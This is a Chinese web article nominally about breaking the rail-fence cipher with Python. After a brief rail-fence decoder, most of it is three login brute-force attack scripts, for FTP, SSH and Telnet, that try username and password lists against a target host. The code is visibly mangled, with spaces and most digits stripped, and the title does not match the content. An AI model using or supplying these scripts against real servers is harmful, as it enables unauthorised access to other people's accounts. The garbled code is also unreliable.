1987WEB视界-分享互联网热点话题和事件

您现在的位置是:首页 > WEB开发 > 正文

WEB开发

Python脚本多种方法破解栅栏密码

1987web2024-03-25WEB开发37
Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform==linuxorsys.platform==linux:clearing=clearelse:clearing=clsos.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines(list)ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines(LIST)printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()==-torarg.lower()==--target:hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-uorarg.lower()==--usernamelist:usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-porarg.lower()==--passwordlist:passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-horarg.lower()==--help:help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform==linuxorsys.platform==linux:clearing=clearelse:clearing=clsos.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):CreateSSHconnectiontotargetssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status=okssh.close()exceptException,e:status=errorpassreturnstatusdefmakelist(file):Makeusernamesandpasswordslistsitems=[]try:fd=open(file,r)exceptIOError:printR+unabletoreadfile\%s\%file+ENDpassexceptException,e:printR+unknownerror+ENDpassforlineinfd.readlines():item=line.replace(\n,).replace(\r,)items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()==-torarg.lower()==--target:hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()==-porarg.lower()==--port:port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-uorarg.lower()==--userlist:userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-worarg.lower()==--wordlist:wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()==-horarg.lower()==--help:help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent==error:printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist>